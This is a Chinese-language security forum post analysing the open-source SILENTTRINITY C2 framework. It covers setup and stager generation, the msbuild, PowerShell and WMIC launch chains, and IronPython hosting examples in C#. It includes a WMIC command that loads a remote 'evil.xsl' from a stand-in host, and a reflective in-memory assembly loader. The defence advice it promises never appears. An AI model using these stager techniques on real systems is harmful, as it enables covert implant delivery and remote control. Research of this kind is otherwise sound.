查看: 1634|回复: 1

SilentTrinity-学习记录2(工作原理详解)

[复制链接]

665

主题

1234

帖子

6576

积分

xdtech

Rank: 5Rank: 5

积分
6576
发表于 2020-3-3 11:50:24 | 显示全部楼层 |阅读模式
本帖最后由 shaoheshaohe 于 2020-3-4 10:21 编辑

0x00 前言
SILENTTRINITY 是由 byt3bl33d3r 开源的一款 C2 工具,通过 C# 实现,利用 IronPython 引擎来执行 Python 代码,十分值得研究。这款工具通过 Python 实现 payload,不仅提高了效率,而且利用 IronPython 引擎从内存加载 payload,更为隐蔽。本文将要站在技术研究的角度,分析 SILENTTRINITY 的原理并进行扩展。

DLR

.NET语言变量类型和方法在编译时绑定,而Python是一种解释型脚本语言。因此,如何在.NET环境中执行Python代码?答案就在于DLR(dynamic language runtime)。下图显示了DLR的架构视图(Microsoft 2017)。   



DLR是一个运行时环境,允许像Python这样的动态语言在.NET上运行,并最终编译成相应的通用中间语言(CIL)格式。使这成为可能的DLR组件之一是“动态对象互操作性”。   Python的一个关键特性是它不必在编译时声明其变量类型。相反,变量类型解析在运行时执行,这与标准.NET语言(如C#)的运行方式不同。为了解决这个问题,DLR提供了一种称为“动态”的数据类型。分配有“动态”数据类型的变量在运行时而不是编译时解析,从而允许Python保持其动态特性并仍然能够在.NET环境中运行。 在SILENTTRINITY中,IronPython代码嵌入并在C#对象中执行,并且通过扩展,在.NET环境中执行。这意味着它将首先编译为CIL代码,随后通过使用JIT引擎成为本机代码。


0x01 简介
本文将要介绍以下内容:
· SILENTTRINITY 的简单使用
· SILENTTRINITY 的实现细节
· C# 利用 IronPython 调用 Python 的方法
· 防御检测的建议

0x02 SILENTTRINITY 的简单使用
操作方法同 meterpreter 相似。
1、安装
git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
cd SILENTTRINITY
pip install -r requirements.txt
python3 st.py client/teamserver
2、开启监听
listeners use http options start
3、生成 payload
stagers list use msbuild generate http

4、启动方式之一
C:\Windows\Microsoft .NET Framework64 v4.0.30319\msbuild.exe msbuild.xml

5、 基本过程

SILENTTRINITY由运行Python的C2服务器和C#后门组成,使用动态.NET程序集在受害者的机器上执行。使用msbuild stager机制作为示例。

  1. 首先将包含c#后门的xml文件放入受害者。
  2. 通过MsBuild.exe执行,C#后门被反序列化并加载到内存中。
  3. 一旦植入到内存中,后门将连接回SILENTTRINITY C2服务器并将名为staged.zip的zip文件下载到内存中。该zip文件实际上由IronPython的.NET程序集和一个名为stage.py的Python脚本组成。
  4. 随后,.NET程序集通过使用.NET的库加载到内存中。一旦加载了程序集,就能够调用IronPython引擎来执行stage.py.
  5. C2服务器现在可以向受害者推送Python编码的模块。


0x03 SILENTTRINITY 的实现细节
源码的文件结构如下:
· SILENTTRINITY,核心文件,C# 开发,格式为 exe
· SILENTTRINITY_DLL,内容同上,但格式为 dll
· Server,控制端,包括多个 Python 实现的 payload
SILENTTRINITY 和 SILENTTRINITY_DLL 功能相同,只是文件格式不同,所以这里以 SILENTTRINITY 为例。

1、SILENTTRINITY
实现的功能可参照下图右半部分:


详细说明如下:
(1启动 IronPython 引擎,释放资源文件并导入 Python 环境
资源文件名:IronPython.StdLib.2.7.9.zip
压缩包内的文件为 Python 的默认模块。
如果安装了 IronPython,压缩包的文件同默认安装路径下 C:\Program Files\IronPython 2.7\Lib 中的文件内容保持一致。
IronPython 下载地址:
(2从 Server 下载 stage.zip
stage.zip 中包含五个文件:
· IronPython.dll
· IronPython.Modules.dll
· Microsoft.Dynamic.dll
· Microsoft.Scripting.dll
其中,前四个为 IronPython 引擎的依赖文件,Main.py 为主体程序,用于接收控制命令,加载 payload,回传输出结果。

(2利用 IronPython 调用 Python
后面将会详细介绍。

2、Server
作为控制端。
modules 文件夹下包含所有支持的 Python 脚本。
stagers 文件夹下包含三种启动方式:
· msbuild
· powershell
· wmic
(1)msbuild
启动方式:
C:\Windows\Microsoft .NETFramework64 v4.0.30319\msbuild.exe msbuild.xml
流程:
msbuild.exe->.xml->C#
通过 msbuild.exe 加载 msbuild.xml,这里使用了 .NET Framework 4.0 中支持了的新功能 "Inline Tasks",被包含在元素 UsingTask 中,可用来在 xml 文件中执行 c# 代码。
msbuild.xml 实现了将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载 ( C# 实现 ) 。
这个利用方法我在之前的文章有过利用分析:
(2)powershell
执行 powershell 脚本。
流程:
powershell.exe->.ps1->C#
同样是将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载 ( Powershell 实现 ) ,关键代码如下:
[ Reflection.Assembly ] ::Load ( $bytes ) $asm = [
Reflection.Assembly ] ::Load ( $UncompressedFileBytes ) $type =
$asm.GetType ( "ST" ) $main = $type.GetMethod ( "Main" )

表示加载 exe 中 Main 下的 ST 方法。
(3)wmic
C:\Windows\System32\wbem\WMIC.exe os get /format:"evil.xsl"
或者
C:\Windows\System32\wbem\WMIC.exe os get /format:"https://example.com/evil.xsl"
流程:
wmic.exe->.xsl->javascript
通过 wmic.exe 加载 wmic.xsl,wmic.xsl 可以放在本地,也可以放在远程服务器。
同样是将加密字符串做 base64 解码,解密出 SILENTTRINITY,最终在内存中加载 ( JavaScript 实现 ) 。
(4)其他可供利用的方法
SILENTTRINITY 未包括,此处作为扩展,例如:
· regsvr32.exe,《Code Execution of Regsvr32.exe》
0x04 C# 利用 IronPython 调用 Python 的方法
需要使用 IronPython,参考资料:
本节介绍一些基本用法,有助于进一步扩展 SILENTTRINITY 的功能。
1、常用的基本脚本
下载安装 IronPython:
开发工具: VS2015
新建 C# 工程,添加引用:
· IronPyhon
· Microsoft.Scripting
注:
编译后生成的 exe 在执行时需要以下依赖文件:
· IronPython.Modules.dll ( 有的工程不需要 )
(1)调用 test.py,输出 Hello World
code1:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
     {
         static void Main ( string [ ] args )
         {
                var engine = Python.CreateEngine ( ) ;
               engine.ExecuteFile ( "test.py" ) ;
         }
     }
}

print ( "Hello World" )

(2)向 python 脚本传参数并输出
code2:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main ( string [ ] args )
        {
            var engine = Python.CreateEngine ( ) ;
            var scope = engine.CreateScope ( ) ;
            scope.SetVariable ( "argv", "Hello World" ) ;
            engine.ExecuteFile ( "test.py",scope ) ;
         }
    }
}

print ( ’ %s ’ %argv )

(3)调用 python 脚本的 main 函数
code3:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main ( string [ ] args )
        {
             var engine = Python.CreateEngine ( ) ;
             var scope = engine.CreateScope ( ) ;
             engine.ExecuteFile ( "test.py",scope ) ;
             dynamic main = scope.GetVariable ( "main" ) ;
             main ( ) ;
        }
    }
}

def main ( ) :
    print ( "Hello World" )
if __name__ == ’ __main__ ’ :
    main ( "" )

(4)将 python 脚本的内容存储在变量中并执行,此时无py文件
code4:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
         static void Main ( string [ ] args )
         {
               string script = "print ( ’ %s ’ %argv ) ";
               var engine = Python.CreateEngine ( ) ;
               var scope = engine.CreateScope ( ) ;
               scope.SetVariable ( "argv", "Hello World" ) ;
               var sourceCode = engine.CreateScriptSourceFromString ( script ) ;
               sourceCode.Execute ( scope ) ;
        }
    }
}

(5)python 脚本支持第三方库
code5:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main ( string [ ] args )
        {
            var engine = Python.CreateEngine ( ) ;
            engine.SetSearchPaths ( new [ ] { "Lib" } ) ;
            engine.ExecuteFile ( "test.py" ) ;
        }
    }
}
找到 IronPython 的安装路径,默认为 C:\Program Files\IronPython 2.7。
将其中的 Lib 目录复制到编译生成的 IronPythonTest.exe 的同级目录下。
import os
os.system ( "calc.exe" )

2、使用 ipyc 将 python 脚本编译成 exe
类似于 py2exe 的功能。
编译好的文件可从 IronPython 的目录中获得。
默认安装位置:
C:\Program FilesIron\Python 2.7\ipyc.exe

0x05 小结
本文分析了 SILENTTRINITY 的实现细节,提出了一些扩展的思路,介绍了 C# 利用 IronPython 调用 Python 的方法。

回复

使用道具 举报

665

主题

1234

帖子

6576

积分

xdtech

Rank: 5Rank: 5

积分
6576
 楼主| 发表于 2020-3-3 14:21:14 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表